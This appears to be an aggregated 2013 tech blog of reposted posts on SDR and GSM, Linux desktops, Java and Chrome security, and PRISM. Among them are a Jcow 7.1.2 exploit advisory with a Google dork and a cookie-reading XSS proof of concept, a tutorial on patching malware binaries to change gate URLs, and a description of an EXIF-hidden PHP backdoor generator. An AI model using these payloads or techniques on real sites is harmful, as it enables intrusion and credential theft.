Projeto TI

Vem Aí , #cpbr7!

2013-10-26T08:36:00.000-07:00

Evento super power Geek chegando mais uma vez pra agitar nossas cabeças!
To ligadão até Janeiro muito café vai rolar até o Grande Dia!!!

Paguei 160,5 no total sem a barraca, consegui com um colega uma barraca irei pagar 35 Reais a mais!
Vamo que vamo!!!!

A day with my personal GSM network

2013-10-22T16:46:00.001-07:00

Couple of months ago I bought an USRP N210 from Ettus research (www.ettus.com) and since then I did not have time to test what it can do until today. I have big plans with this SDR and another one I also own – QS1R but today I will tell only about this fine hardware which is USRP N210.

The above picture shows USRP N210 with RFX900 board, Basic RX and Basic TX boards. Inside is already mounted the WBX board. Here are the frequencyes:

WBX – 50Mhz to 2.2Ghz, one Rx, one Tx – 100mW output

RFX900 – 800Mhz to 1Ghz, one Rx, one TX – 200+mW output

Basic RX, Basic TX – made to be interfaced with external RF hardware

What I am going to use USRP N210 for?

I am interested in the use of SDR for Tetra decoding, GSM decoding, Radar, what else? The ADC and DAC of the boards have 100Msps which gives pretty good spectrum bandwidth. It’s amazing how many people use this SDR and how many applications are out there on the web so I decided to test couple of them before starting to change the FPGA and firmware. The good news are that Matlab can work direct with USRP N210. This is really great news.

The board works great in conjunction with GNUradio (www.gnuradio.org) open source software and uses the new UHD (Universal Hardware Driver). Some of the applications one could find on the web are written for non-UHD USRP and do need converting to UHD.

I decided to see what I can run in a day of weekend so here it is: OpenBTS – an open source GSM software. And a WFM receiver as a plus. I won’t go into details on what I did to configure various bits since everything worked out of the box without too much tweaking. Though, I’ll point out only where documentation is available on the web so that you’ll have the starting point.

1. Need 1Gbps network card in your PC. The USRP N210 comes with address 192.168.10.2. Then configured the PC eth to have IP 192.168.10.1, netmask 255.255.255.0

2. Installing UHD driver from git: http://code.ettus.com/redmine/ettus/projects/uhd/wiki

Test if USRP N210 is found with find_uhd_devices. It won’t show the serial number unless you install latest firmware.

3. Installed the latest FW and FPGA images with usrp_n2xx_net_burner.py

test the connection with uhd_find_devices and uhd_usrp_probe

4. Installed gnuradio: www.gnuradio.org

You need to satisfy all dependencies in order to be able to run GRC examples.

5. Installed OpenBTS-uhd: http://gnuradio.org/redmine/projects/gnuradio/wiki/OpenBTSUHD

6. Installed Asterisk (I’m using Ubuntu 10.04) and added all Asterisk configs from OpenBTS to /etc/asterisk/

7. Run Asterisk, OpenBTS, smqueue. Searching manually for GSM network I discovered a new network ( I used ARFCN 51 on GSM900 band). Connected to the network.

8. Found my phones IMSI: sent a SMS message to 411 and got the replay with phone’s IMSI.

9. Add a phone number to the related IMSI in the sip.conf and add a SIP rule in the extensions.conf

10. Now when I send an empty SMS to 411 I get also the phone number together with IMSI.

11. To verify that phone is connected to the network send a SMS to 101 with the phone number in the body. You’ll get a replay saying the phone is registered.

12. Now I’m able to do phone calls and SMSs between the two phones I have with the arbitrarily chosen numbers 2101 and 2102.

13. To be able to see various GSM messages on the Um interface I installed latest version of wireshark which knows gsmtap and is able to show what USRP board transmits and receives.

OpenBTS is a nice tool to play with even though it is not production ready. It helps me a lot in learning how GSM is working.

One tool used together with USRP N210 was Kalibrate which not only helps in calibrating the USRP clocks by using the neighbor networks but also scans the local environment and prints what it finds:

kal -s 900

GSM-900:

chan: 18 (938.6MHZ + 14.186kHz) power 18032.11

chan: 22(939.4Mhz + 14.288kHz) power 3554.23

FM radio test

Gnuradio comes with a graphical IDE called GRC (Gnuradio Companion) that will speed-up the process of creating various SDR projects. I found out OZ9AEC page (http://www.oz9aec.net/index.php/gnu-radio/grc-examples) where couple of working GRC examples are presented. They are also converted to UHD so it is just a matter of running GRC to see what’s all about. One comment about the GRC: when building gnuradio one needs to bring in all the dependencies so that all Vx and Qt widgets will be in the release. Here are the screen shots with a FM receiver implemented in GRC:

As a conclusion, I like this new USRP N210 and as I said I’m planning to write a lot of code for it to implement my ideas. One thing on the down side is that in order to build the FPGA image one needs a tool from Altera that is not free and if you add this to the price of the board … On the good size I would love the openess of gnuradio, the integration with Matlab and the options that Ettus offers through their large list of daughter cards.

This entry was posted on September 11, 2011 at 11:23 am. You can follow any responses to this entry through the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is currently not allowed.

FROM: http://yo3iiu.ro/blog/?p=1012

Sending APRS message to Twitter

2013-10-22T16:44:00.001-07:00

Just in a discussion with a fellow motorcyclist, I found out that people wants to send Twitter messages (to tweet – a new verb ) from various kind of devices like PDA-s, phones, radios. Knowing that APRS could be used to send short messages that are even shorter than Twitter ones made me think why shouldn’t I make an application to allow ham radio enthusiasts sending APRS messages to its own Twitter account? This seemed to be an easy task, just couple of days of work. For the impatients here is the link to what you need:

http://www.yo3iiu.ro/twitter.html

I’ve seen two sub tasks to accomplish the main task of sending the message from Twitter to APRS: Authentication and Message passing between the two networks.

There are some differences between Twitter and APRS when talking about authentication. APRS has no authentication, Twitter has a good authentication as of 2010, OAuth.

The message passing is easily accomplished once the authentication is done, the application needs just to listen to a connection to one of the main APRS-IS servers and when receiving a message, will send it to Twitter server.

How it works:

Authentication is done on a perl CGI that receives user’s callsign and then proceed to authentication with Twitter. You’ll be asked to accept access from APRS to Tweet application. Once the authentication is finished, the user callsign and its Twitter OAuth tokens are stored in a local database. Remember that OAuth does not know at any time your Twitter user and password, therefore no such info is stored on the server.

Sending the message to Twitter is simple: you send the message from APRS to callsign YO3IIU-11 and it is mandatory that the message have “tweet:” included at the beginning of the message. Otherwise the message will be rejected. It is designed like this just to filter broadcast messages that will come to YO3IIU-11.

That’s all folks,

73, YO3IIU

From: http://yo3iiu.ro/blog/?p=916

Kali 1.0.5 lançado

2013-09-05T12:53:00.003-07:00

O dia está cheio de novidades no blog e este é o terceiro post. Vamos lá.

Saiu o Kali 1.0.5 trazendo uma série de novidades e correções. Não me aprofundarei explicando que o Kali é uma distribuição Linux focada em segurança e que veio substituir o BackTrack.

As atualizações e correções desta nova release poderão ser consultadas a partir do seguintelink, e caso vc utilize-o, mas na versão mais antiga, basta executar os comandos abaixo para atualizá-lo:

root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade

Utilizem-o com moderação —

Fonte: Coruja de Ti.

Jcow 7.1.2 XSS/FPD Vulnerabilities2013-09-05T12:50:00.001-07:00

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0

0     _                   __           __       __                     1

1   /' \            __  /'__`\        /\ \__  /'__`\                   0

0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1

1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0

0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1

1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0

0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1

1                  \ \____/ >> Exploit database separated by exploit   0

0                   \/___/          type (local, remote, DoS, etc.)    1

1                                                                      1

0  [+] Site            : 1337day.com                                   0

1  [+] Support e-mail  : submit[at]1337day.com                         1

0                                                                      0

1               #########################################              1

0                  I'm DaOne member from Inj3ct0r Team                 1

1               #########################################              0

0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

---------------------------------------------------

# Exploit Title: Jcow 7.1.2 XSS/FPD Vulnerabilities

# Author: DaOne aka MockingBird

# Vendor Homepage: http://www.jcow.net/

# Download link: http://sourceforge.net/projects/jcow/

# Category: webapps/php

# Version: 7.1.2

# Google dork: "Powered by Jcow 7.1.2"

---------------------------------------------------

[#] [XSS]

the application does not validate the 'tags' parameter {/index.php?p=streampublish}

script code would execute in {/index.php?p=videos/viewstory/*id*}

-PoC-

POST /jcow.7.1.2.ce/index.php?p=streampublish HTTP/1.1

page_id=1&oncomment=0&page_type=u&message=Share+with+your+followers...&video_title=DaOne&description=tst&tags="><ScRiPT>alert(document.cookie)</ScRiPT>&youtube_url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DErCAOMi5EGM&youtubeid=&attachment=videos

[#] [Full Path Disclosure]

POST /jcow.7.1.2.ce/index.php?p=member/loginpost HTTP/1.1

username[]=tst&password=tst

GET http://localhost/jcow.7.1.2.ce/includes/boot.inc.php HTTP/1.1

                                        /jcow.7.1.2.ce/includes/libs/apps.inc.php

                                        /jcow.7.1.2.ce/includes/libs/u.module.php

                                        /jcow.7.1.2.ce/modules/admin/admin.php

                                        /jcow.7.1.2.ce/modules/apps/apps.php

                                        /jcow.7.1.2.ce/themes/default/home.tpl.php

# FE3F5F237889B11D   1337day.com [2013-09-05]   C2E397F31D91D749 #

Researchers: Oracle’s Java Security Fails

2013-09-05T12:44:00.001-07:00

Faced with an onslaught of malware attacks that leverage vulnerabilities and design weaknesses in Java, Oracle Corp. recently tweaked things so that Java now warns users about the security risks of running Java content. But new research suggests that the integrity and accuracy of these warning messages can be subverted easily in any number of ways, and that Oracle’s new security scheme actually punishes Java application developers who adhere to it.

Java’s security dialog box.

Running a Java applet now pops up a security dialog box that presents users with information about the name, publisher and source of the application. Oracle says this pop-up is designed to warn users of potential security risks, such as using old versions of Java or running applet code that is not signed from a trusted Certificate Authority.

Security experts differ over whether regular users pay any mind whatsoever to these warnings. But to make matters worse, new research suggests most of the information contained in the pop-ups can be forged by malware writers.

In a series of scathing blog posts, longtime Java developer Jerry Jongerius details the various ways that attackers can subvert the usefulness of these dialog boxes. To illustrate his point, Jongerius uses an applet obtained from Oracle’s own Web site — javadetection.jar — and shows that the information in two out of three of its file descriptors (the “Name” and “Location” fields) can be changed, even if the applet is already cryptographically signed.

“The bottom line in all of this is not the security risk of the errors but that Oracle made such incredibly basic ’101′ type errors — in allowing ‘unsigned information’ into their security dialogs,” Jongerius wrote in an email exchange. “The magnitude of that ‘fail’ is huge.”

Jongerius presents the following scenario in which an attacker might use the dialog boxes to trick users into running unsafe applets:

“Imagine a hacker taking a real signed Java application for remote desktop control / assistance, and placing it on a gaming site, renaming it ‘Chess’. An unsuspecting end user would get a security popup from Java asking if they want to run ‘Chess’, and because they do, answer yes — but behind the scenes, the end user’s computer is now under the remote control of a hacker (and maybe to throw off suspicion, implemented a basic ‘Chess’ in HTML5 so it looks like that applet worked) — all because Oracle allowed the ‘Name’ in security dialogs to be forged to something innocent and incorrect.”

Oracle has not responded to requests for comment. But Jongerius is hardly the only software expert crying foul about the company’s security prompts. Will Dormann, writing for theCarnegie Mellon University’s Software Engineering Institute, actually warns Java developers against adopting a key tenet of Oracle’s new security guidelines.

Oracle recommends that all Java applets be cryptographically signed regardless of the privileges required by the program. Unsigned Java applets will run within a web page with a scary red warning that, “Running this application may be a security risk.” One of Java’s most-touted features is a “sandbox” security mechanism that is supposed to prevent certain functions when the applet is sent as part of a Web page. But according to both Jongerius and Dormann, Oracle made the default behavior for signed code to be full access to the computer (essentially, negating the usefulness of the sandbox).

“What about Oracle’s vision of a Java future where every Java applet is signed?,” asks Dormann, a longtime security research with the Department of Homeland Security’s US Computer Emergency Readiness Team (US-CERT). “What this vision means is that every Java applet, which would be signed, would also now be in a state where it could be repurposed because it is now no longer restricted by the sandbox. A poorly designed sandboxed Java applet can’t do much of anything. However, a poorly designed signed Java applet can do pretty much anything that native code can.”

How to hex a malware and make a builder (VB6/ASM source code incl)

2013-08-07T13:49:00.002-07:00

Hello TF,
I got time to kill and after seeing this thread i got the idea to write.
So here is a tutorial about "How to hex a malware and make a builder"
When malware writers give only bins and no builder, the only way to fuck them up is to codecave the bin for make it do what we want.
Sometime that can be complicated like here
But you have many advantages, because you can remove bugs, add features... you are free.
For make this, you will need: Ollydbg, an editor hexadecimal and a minimum of intelligence.
For the coding part i've choose 2 languages: Visual Basic 6 and Assembly with MASM32 and WinASM as IDE (two extreme, one high and one low-level language)

So let's start.
The first step is to locate things you need to modify inside the malware (e.g: gate urls, timers, enc keys)
For malware, do to ethical issue i will chose a simple unNagMe coded fastly in ASM, and like that you can try to modify things without the fear of being infected.

This executable can be downloaded with both sources code in attach.

Run Ollydbg and load the executable inside to have a look and see what the code look's like

Pretty simple with a good zone of zero filled bytes, and we see strings are pointing to 0x403000 and 0x403023
We need to find a zone with enought nullbytes to insert our url, the zero filled place on the screenshot can be good but i've choose to add my strings under original one.
This green place can be good and used, i've used HexDecCharEditor to find it:

Now that we have found a place for our URL we need to modify the executable to make it go on our string.

(843, VA=0x403043)
Double click on the line and modify the code, then: Right Click>Copy to executable>All modification
A window appear: Click 'Copy all' then another window appear, right click on it and click "Save file".

Everything is cool now.
We just need to code a program who will edit our binary at 0x403043
For that i will modify some of my old VB6 and ASM codes

Basic interface:

Please note that for Visual Basic i've used a commonDialog mean the program is dependent of one ocx: COMDLG32.
The code for boths are a bit hardcoded and can be improved but that work and it's enought for me.
One the file is builded the hexed version is named "Malware.exe.ViR"

The end.
Don't hesitate to show examples of codes if you are motivated.
No password on archive because nothing is infected.
And if you want some fun InjectMe #1, InjectMe #2.

Maybe u need TrojanForge ACC to download ---**

Attached Files

Package VB6+ASM Source code of builder + ExampleApp.zip (14.4 KB, 189

PHP EXIF Backdoors generator using custom shellcode

2013-08-07T13:48:00.002-07:00

PHPEB is a small tool that generates and stores obfuscated shellcode in user specified EXIF handlers. The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content and the second is the real payload obfuscated in EXIF a JPG/TIFF file headers.

Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.

Another interesting point is that the image that we generate still loads and works properly.

Started from Sucuri Research.

If you have any other cool ideas for obfuscating the shellcode, feel free to commit.

Details: https://github.com/CCSIR/PHP-EXIF-Ba...stom-shellcode

LE: Can anyone move this thread to PHP & Python & Perl or in any other place that will fit better? Thank you

Chrome’s insane password security strategy

2013-08-07T13:47:00.001-07:00

Chrome does something interesting when you first run it.

The other day, I was using Chrome in development for an Ember.js app. I use Safari for day-to-day browsing, but it has a habit of aggressively caching files when I least expect it, so from time to time I switch to Chrome.

I decided to hit Chrome’s “Import bookmarks now” link and see whether I could import my bookmarklets from Safari, so things would be nice and consistent between the two browsers. I didn’t expect this:

This struck me as particularly odd. Why is “Saved passwords” greyed out, and mandatory? Why have a check-box? This is the illusion of choice. I think it’s deeply misleading, and this is why:

This is a page in Chrome’s settings panel:

See that “show” button? It does what you think it does.

There’s no master password, no security, not even a prompt that “these passwords are visible”. Visit chrome://settings/passwords in Chrome if you don’t believe me.

There are two sides to this. The developer’s side, and the user’s side. Both roles have vastly different opinions as to how the computer works. Any time I try to draw attention to this, I get the usual responses from technical people:

Just use 1Pass
The computer is already insecure as soon as you have physical access
That’s just how password management works

While all of these points are valid, this doesn’t address the real problem: Google isn’t clear about its password security.

In a world where Google promotes its browser on YouTube, in cinema pre-rolls, and on billboards, the clear audience is not developers. It’s the mass market - the users. The overwhelming majority. They don’t know it works like this. They don’t expect it to be this easy to see their passwords. Every day, millions of normal, every-day users are saving their passwords in Chrome. This is not okay.

This dialog is even more misleading. By using words like “confidential information” and “stored in your keychain”, OSX describes the state of your saved password’s current security. It’s the very security Chrome is about to bypass, by displaying your passwords, in plain-text, outside your keychain, without requiring a password. When you visit a website, Chrome prompts for every password it can find for that domain.

Today, go up to somebody non-technical. Ask to borrow their computer. Visitchrome://settings/passwords and click “show” on a few of the rows. See what they have to say.

I bet you it won’t be “That’s how password management works”.

Update: Justin Schuh, head of Chrome security, says I’m wrong, and that this is not going to change.

Welcome to ArdOS, the Arduino Operating System

2013-08-05T06:18:00.002-07:00

Thank you for dropping by. This version of ArdOS is now deprecated. For the latest versions please mosey over to ArdOS IDE. The new ArdOS features:

Convenient import into the Arduino IDE.
Automatic creation of task stacks.
Task stack size configurable at run-time.
Number of tasks configurable at run-time.
Full support for the Arduino library. Now Serial, attachInterrupt, etc. are available for you to use!
Simplified configuration file.
Simplified set of headers.

If you are using the older version of ArdOS on this site and would like to see it continue being supported, please drop me a mail.

----------------------------------------------------------------------

GET THE SOURCE:

demo
include
source
COPYING	34.3 KB	2013-05-15	New distribution update
COPYING.LESSER	7.5 KB	2013-05-15	New distribution update

Configuring a WindowMaker desktop in Ubuntu

2013-08-05T06:16:00.001-07:00

Ubuntu Linux comes with a variety of desktops, including GNOME, KDE, and XFCE – all supported in their own distributions. You can install any of these by selecting the appropriate packages: either ubuntu-desktop,kubuntu-desktop, or xubutnu-desktop respectively. There are, however, other desktops not as well supported such as Window Maker (I’ve just got to discuss 9wm sometime…).

Before discussing too much, note that Window Maker is currently not in active development, and a fork calledwmaker-crm has taken on active development for Window Maker. However, there are no packages for wmaker-crm in the Ubuntu repositories; to actually use wmaker-crm you’ll have to build it from source.

Creating a complete and working Window Maker desktop is not hard, but it is not straight-forward, nor documented well. There are a number of things to do which will enhance the desktop.

First, make sure that the menu package is installed. If it isn’t, most of the applications you have installed will be missing from the Window Maker application menus. Install it from your choice of package installers, or from the command line:

apt-get install menu

there are no applets running when you first start out. There are a number of good applets in the repositories; I selected these:

wmforkplop
wmhdplop
wmbattery
wmdiskmon
wmclockmon
wmcpuload
wmmemload
Mixer.app
wmwave

Install these with synaptic or with this terminal command:

apt-get install wmforkplop wmhdplop wmbattery wmdiskmon wmclockmon wmcpuload wmmemload mixer.app wmwave

Get the applets started by starting them at the command line with the appropriate options:

wmforkplop &
wmhdplop &
wmbattery &
wmdiskmon -p /dev/sda7 -p /dev/sda1 -p /dev/sda6 &
wmclockmon &
wmcpuload &
wmmemload -b -c &
Mixer.app &
wmwave &

Be sure to adapt the options to your liking; most likely the only change will be the partitions listed in the wmdiskmon options – for me, these partitions are /, /boot, and /home respectively.

Note that Mixer.app (nor almost any other mixer) will not work in Ubuntu 10.04 and above as the sound daemons it depends on have been removed. That sound system is called OSS, and it has been removed from the Ubuntu kernels entirely. To fix this, you have to compile your own kernel. If you are technically savvy, this will not be too difficult. If you follow some good instructions, you’ll be alright.

The Ubuntu repositories have many more dock apps. If that isn’t enough, there are even more at dockapps.org - including, for instance, a Mixer.app that works with ALSA sound drivers instead of OSS.

You’ll probably want to add multiple desktops. Right-click on the desktop, then select from the menu the optionWorkSpace, then Workspaces, then New – and create as many as you like.

The Clip – found at the top left of the screen – is quite handy, but doesn’t provide much without some configuration. To have the Clip automatically consume any running application icons, right-click on the Clip and select Clip Options, then Autoattract Icons. You may also like to have the icons disappear automatically, only to reappear when the mouse hovers over the Clip: select Autocollapse in the Clip options menu.

To tweak even more options, use the Window Maker Preferences application – this is found in the panel with a screwdriver on it. Double-click and prepare to spend a lot of time – though not many options need to be changed.

The desktop appearance and theme can be changed; right-click on the desktop, then select WorkSpace, thenAppearance. If you are going to try out a lot of themes and backgrounds, click on the Appearances menu title bar or drag the menu using the title bar to a place of your choosing – then right-click on the desktop. The Appearances menu will stay on the desktop as long as you like; close it like any other window by clicking on its close button.

Backgrounds are normally stored in ~/GNUstep/Library/WindowMaker/Backgrounds or in /usr/share/WindowMaker/Backgrounds. You can quickly set a background from the command line by using this command:

wmsetbg -u myfile.jpg

There are many more options for wmsetbg in its man page.

GNOME applications will have a generic GTK display; most likely, you’ll want to change this. This can be fixed by using the gnome-settings-daemon. However, the gnome-settings-daemon will want to manage your background as well; use the gconf-editor program to fix this; go into /apps/gnomesettingsdaemon/plugins/background and change the active key to false by clicking on (and clearing) the checkbox. You can also use gconftool-2 at the command line:

gconftool-2 --set /apps/gnome_settings_daemon/plugins/background/active --type bool False

To use the gnome-settings-daemon, put it into the ~/GNUstep/Library/WindowMaker/autostart file. This file will handle automatic startup of programs that either don’t recognize an X session or that are daemons. Here is the one that I use:

#!/bin/sh

xset mouse 20/10 4
gnome-settings-daemon &
dropbox start &

Window Maker will not finish starting until this script is complete, so long running applications should be backgrounded.

If you like shadows, you might want to use the package xcompmgr. Run it from your autostart file with a command like:

xcompmgr -C -c -r 8 -t -12 -l -12 &

A problem with xcompmgr is that it hasn’t been updated in quite a long time – and there is talk that it has memory leaks and other bugs. An alternative is the Cairo Composite Manager, although it is not in the Ubuntu repositories. One benefit of the Cairo Composite Manager is that it will use the 3D capabilities of your video card if it has them.

If you want transparency, then load the transset-df package. This package will set transparency of specific windows, but may have bugs and other problems – it hasn’t been updated in many years. Use it like this:

transset 0.7

This will set a transparency of 0.7 (70%) on the window that is clicked. You can select windows by using the -noption which will set transparency of windows with an associated name – for instance, -n Terminal will make all Terminal windows transparent by the specified amount. However, in my experience, using transset resulted in some windows not displaying correctly – the colored terminal window became gray and was not transparent; your experience may differ. There may also be bugs in transset; caveat emptor.

One thing missing from the Window Maker desktop is the ability to control networking interfaces. To fix this, you’ll have to stop the network-manager service as it doesn’t work with Window Manager, and replace it with the wicdpackage:

sudo service network-manager stop
sudo mv /etc/init/network-manager.conf /etc/init/network-manager.conf.noboot
sudo apt-get install wicd wicd-daemon wicd-gtk python-wicd
sudo service start wicd
wicd-client -n

Configure the network options as you desire. You’ll most likely want to keep the icon for this application around for easy access; if it is under the Clip, then right-click on the icon and select Keep Icon.

Unfortunately, there is no decent front-end for VPNs such as OpenVPN. The way to start a VPN remains the command line, at least until wicd supports VPNs.

Now having gone through this, you’ll have yourself a much nicer Window Maker desktop to work with. Have fun!

Update: I forgot to mention how to set up good icons. Window Maker will automatically choose an icon, and often its not a good choice: either the icon is low resolution and jaggy, or too big and only part of it can be seen.

Cached icons are stored in ~/GNUstep/Library/WindowMaker/CachedPixmaps/. You can find better icons by search with the locate utility – in Ubuntu, many icons can be found in /usr/share/icons/hicolor/ – and if there is a 48×48 or 64×64 icon conversion will not be necessary; just copy the file to the CachedPixmaps directory and change the icons location to the new file: right-click on the icon in the Clip (or wherever), select Settings… and change the location listed for the icon.

If you can’t find a 48×48 or a 64×64 you’ll have to convert the image: use the convert utility to do this:

convert orig-icon.png -resize 48x48 new-icon.png

You can also convert formats with convert; check its man page for details.

One more thing: here is my current desktop:

My Current WindowMaker Desktop

Just in case anyone asks… Wikipedia describes R.O.D the TV well.

IN--> http://administratosphere.wordpress.com/2011/07/16/configuring-a-windowmaker-desktop-in-ubuntu/

Ubuntu - G0t Hacked -

2013-08-05T06:15:00.001-07:00

Hello Ubuntu Studio developers, contributors and users,
This is an emergency announcement.

The Ubuntu Forums is currently down for maintenance, including Ubuntu Studio’s sub-forum.
At 20th July, 2013 20:31 UTC, Canonical IS discovered that hackers have attacked the Ubuntu Forums, and has got hold of every users’ username and password. The Ubuntu Forums is down for maintenance 4 minutes later.
Canonical IS are trying to recover the service as soon as possible. Other Ubuntu services are not affected.
Please see https://ubuntuforums.org/announce/
If you are a Ubuntu Forums Ubuntu Studio sub-forum user, here are some suggestions on what you need to do.
1. Please change every password that is the same as your Forums account as requested by the Ubuntu Forums.
2. Please use other support channels to receive support. You can find support in the Ubuntu Studio user IRC channel (#ubuntustudio), Ubuntu Studio User and Support mailing list (ubuntu-studio-users@lists.ubuntu.com) or Ask Ubuntu (https://askubuntu.com).

Thank you for your attention.

Regards,
Howard Chan (smartboyhw)
Ubuntu Studio Release Manager

Arduino vs. Raspberry Pi vs. CubieBoard vs. Gooseberry vs. APC Rock vs. OLinuXino vs. Hackberry A10

2013-08-05T06:12:00.000-07:00

Arduino vs. Raspberry Pi vs. CubieBoard vs. Gooseberry vs. APC Rock vs. OLinuXino vs. Hackberry A10

A long time ago, Earth was ruled by dinosaurs. Then they died and we began to play with Motorola HC11.
These were prehistoric times, when debugging involved anoscilloscope. (Yes, I am that old.)

Then Massimo Banzi invented a new single board: Arduino.
And everyone was happy. At last, prototyping was easy, cheap, and fast.

Then the unexpected happened: David Braben invented the Raspberry Pi. Everyone became happier. Prototyping became easier, cheaper, and faster.

The story does not end here: now we have CubieBoard, Gooseberry, APC Rock, OLinuXino,Hackberry A10, et caetera.

Each one of them is different. Here is how:
PDF file

Board name	Price		Version	Processor	Clock Speed	SoC	GPU	RAM	Memory	Max Memory	GPIO	Analog In	Analog Out	USB	USB host
Arduino Uno	$27	20€	Rev 3	ATmega328	16Mhz	/	/	2KB	32KB	32KB	14	6		1
Arduino Due	$53	39€	Rev 1	AT91SAM3X8E	85MHz	/	/	96KB	512KB	512KB	54	12	2	1	1
Raspberry Pi, model B	$35	26€	Rev 2	ARM11	700MHz	Broadcom BCM2835	VideoCore IV	512MB	None	32GB via SD	26			2
CubieBoard	$49	36€	Rev 1	ARM Cortex-A8	1GHz	Allwinner A10	ARM Mali-400	1GB	4GB NAND flash	32GB via SD	96			2	1
Gooseberry	$63	46€	Rev 1	ARM Cortex-A8	1GHz	Allwinner A10	ARM Mali-400		4GB NAND flash	32GB via SD	None			0	1
APC Rock	$79	59€	Rev 1	ARM Cortex-A9	800MHz	Wondermedia Prizm WM9950	ARM Mali-400	512MB	4GB NAND flash	32GB via SD	24			2	1
A13 OLinuXino Wifi	$74	55€	Rev. E	ARM Cortex-A8	1GHz	Allwinner A13	ARM Mali-400	512MB	4GB NAND flash	32GB via SD	68/74			3	1
A10 OlinuXino			TBA	ARM Cortex-A8	1GHz	Allwinner A10	ARM Mali-400	1GB	4GB NAND flash	32GB via SD	132			2	1
Hackberry A10	$65	48€	Rev 1	ARM Cortex-A8	1.2GHz	Allwinner A10	ARM Mali-400	1GB	4GB NAND flash	32GB via SD	None			2	0

If you see any error in this, please feel free to leave a comment below.

If you want to play it safe, you should probably go with an Arduino or a Raspberry Pi.
If you are more audacious, it will depend on your need.
I like the CubieBoard a lot, even if its GPIO pins are 2mm (really painful…) instead of the usual 2.54mm (1/10 inch).
The A10 OlinuXino seems to be very promising.

Chinese internet users call for an Edward Snowden of their own

2013-07-20T07:44:00.001-07:00

Chinese internet police on patrol. AP Photo / Imaginechina

Edward Snowden has fans among the Chinese, who know a thing or two about internet surveillance.

In leaking information about a top-secret US government data collection program,Snowden argued that an increasingly authoritarian government could use such intelligence against citizens—exactly the situation Chinese nationals face.

Chinese internet users today hailed Snowden, the ex-CIA employee who leaked information on the National Security Agency’s PRISM operation last week. “This is the definition of heroism,” one blogger wrote. “Doing this proves he genuinely cares about this country and about his country’s citizens. All countries need someone like him!”

Chinese citizens are among the most monitored in the world. Companies and individuals must get any internet access through the Chinese government or state-owned companies. That helps the state to run one of the largest digital surveillance and censorship regimes in the world, nicknamed the Great Firewall. As of early March, 30 journalists and 69 bloggers had been jailed, more than anywhere else in the world, according to nonprofit Reporters Without Borders. Private internet companies also help track and censor citizens or else face government sanctions.

Some in China see Snowden as an example for Chinese people to stand up for internet freedom. Wen Yunchao, a Chinese blogger in Hong Kong wrote on Twitter, “I hope that an Edward Snowden comes out of China’s Great Firewall system, exposes it, and goes down in the annals of history as a hero.”

Others see Snowden’s exile in Hong Kong as a rare opportunity for the Chinese government to stand up for digital civil liberties. (Hong Kong has an extradition treaty with the US that Beijing can override.) One blogger wrote, “He must be protected…This is one of the few opportunities the Communist Party has to contribute to world good.”

New insights into the PRISM program.

2013-07-08T11:07:00.003-07:00

Last Saturday, June 29, the Washington Post unexpectedly disclosed four new slides from the powerpoint presentation about the PRISM data collection program.

This disclosure came as a surprise, because earlier, Guardian-journalist Glenn Greenwald said that no more slides would be published because they contain very specific technical NSA means for collection, for which The Guardian would probably be prosecuted.

That The Washington Post now disclosed them, is even more surprising, not only because it's an American paper, but also because it's said that Edward Snowden initially went to The Post asking to publish all 41 slides of the PRISM presentation. But The Washington Post refused to do so and therefore Snowden gave the scoop to The Guardian, which published the first four slides.

It's not clear who exactly released the four new slides, whether it was Snowden himself or editors of The Washington Post, and what the reason was for doing it. Allthough these new slides show some of the same oddities we already saw in the first series, these new ones have a very specific and detailed content. This makes them look far more genuine and, more importantly, show much better how PRISM actually works.

We now learn that PRISM is not one single technical system or computer application, but a data collecting operation which combines a number of different tools, computer systems and databases, some existing, some maybe new. This also means that this PRISM program is not the same thing as the Planning tool for Resource Integration, Synchronization and Management (PRISM), a theory which was examined in our previous posting.

The PRISM tasking process

In this first new slide (below) we see details of the PRISM Tasking Process, which is how instructions for gathering the requested data are sent and reviewed. This process starts with an NSA analyst typing one or more search terms, or "selectors" as NSA calls them, into the Unified Targeting Tool (UTT). Selectors may refer to people (by name, e-mail address, phone number or some other digital signature), organizations or subjects such as terrorism or uranium related terms.

Along with the selectors, the analyst must fill out an electronic form that specifies the foreign-intelligence purpose of the search and the basis for the analyst’s reasonable belief that the search will not return results for US citizens or foreign nationals who are within the US at the time of data collection.

The slide shows that it's possible to search existing communications that are already stored ("Stored Comms") and also to initiate a search for future communications of selected targets. The latter option is called "Surveillance", which by a number of media was erroneously interpreted as the possibility of real-time monitoring of for example an internet chat.

According to one of the earlier slides, NSA analysts should also use other sources, like data which can be gathered through access points that tap into the internet’s main gateway switches ("Upstream"). It's not clear if tasking of these other sources can be done by using the Unified Targeting Tool (UTT), or that specific tasking tools are required.

The NSA unit S343 for Targeting and Mission Management does a final review of the analysts' determination and releases the tasking request through the Unified Targeting Tool. Then it's apparently a computer system called PRINTAURA which distributes the requests to the different collection sites.

For searching stored communications, there are two extra checks. First there's a review and validation by "Special FISA Oversight and Processing", which seems to refer to the federal judges in the secret Foreign Intelligence Surveillance Court (FISC), but this is of a generic nature without individual warrants. Second, there's the Electronic Communications Surveillance Unit (ECSU) of the FBI, which checks against its own database to filter out known Americans.

Different tasking tools

In another source the Unified Targeting Tool (UTT) is described as a DNR tasking tool, which means it's a software program used to send tasking instructions to dedicated data collection devices. As DNR stands for Dial Number Recognition, this sounds like the targeting tool is aimed at finding out who is behind a certain phone number, but the word "unified" and the way this tool is used in the PRISM program, indicate that it has a wider targeting range.

